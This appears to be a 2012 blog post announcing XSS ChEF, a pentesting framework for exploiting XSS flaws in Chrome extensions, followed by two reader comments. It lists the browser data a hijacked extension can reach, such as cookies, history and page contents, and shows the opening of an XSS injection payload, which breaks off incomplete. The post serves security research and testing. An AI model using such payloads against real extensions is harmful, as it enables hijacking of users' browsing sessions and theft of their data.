Thursday, July 26, 2012

XSS ChEF - Chrome extension exploitation framework

Recently I've been busy with my new little project. What started out as a proof of concept suddenly became good enough to demonstrate it with Kyle Osborn at BlackHat, so I decided I might just present it here too ;)

Zombifying alert(1)

What do you do when you find XSS on a website? alert(1) of course. What you can do instead is to try to make something bigger out of it. You have several options:
  • If you're Samy, you write a worm (and you almost go to jail in return because the worm is so successful)
  • If you're a bad guy, you redirect to an exploit-kit. 
  • If you're a pentester - you can use that XSS for further exploitation.
Let's focus on this last case - you want to exploit the application. You can do that manually via some handcrafted JS code, you can use various libraries with ready-made features (like XSS-Track) or you can inject a BeEF hook and make your tested application a zombie ready to receive commands from the zombie master (i.e. you). BeEF is probably as good as it gets when it comes to exploiting XSS within web pages.

Chrome extensions are web apps too!

Chrome extensions are basically just HTML5 applications and can suffer from standard web vulnerabilities (read our BlackHat whitepaper: Advanced Chrome Extension Exploitation: Leveraging API powers for Better Evil for more details). Among them our beloved XSS. Yes, as it turns out, XSS vulnerabilities in Chrome extensions are pretty common (again - see white paper).

Exploiting XSS in Chrome extensions is way cooler though, because they have much more capabilities than the standard webpages. Depending on the permissions declared in the manifest, they may be able to:
  • get the content of every page that you visit (and URLs that you visit in incognito mode)
  • execute JS in context of every website (Global XSS)
  • take screenshots of your browser tabs
  • monitor and alter your browsing history & cookies (even httpOnly!)
  • access your bookmarks
  • even change your proxy settings
And, once you've got XSS, you can do all of the above within your payload. Once you know the details of the asynchronous chrome.* APIs.

But that's so cumbersome!

Yeah, I know. And I'm lazy too, so I've created a tool called XSS CheF - Chrome Extension Exploitation Framework which does the work for me. It's basically a BeEF equivalent for Chrome extensions. So, once you've found XSS vulnerability within Chrome extension, you can simply inject a payload like this:

<img src=x onerror="if(location.protocol.indexOf('chrome')==0){

to get total control over the whole browsing session via attacker's console.

XSS ChEF is designed from the ground up for 
exploiting extensions. It's fast (thanks to using WebSockets), and it comes preloaded with automated 
attack scripts:



XSS ChEF is available on GitHub under GPLv3 license. As always - clone, download, test it and let me know how do you feel about it. Suggestions & contributions are more than welcome. 


Ben Fradger said...

any chance of releasing the code under a less restrictive license? Tools like metasploit or the like might be like to use the code too.

Joana Kane said...

You are providing some really good scripts :)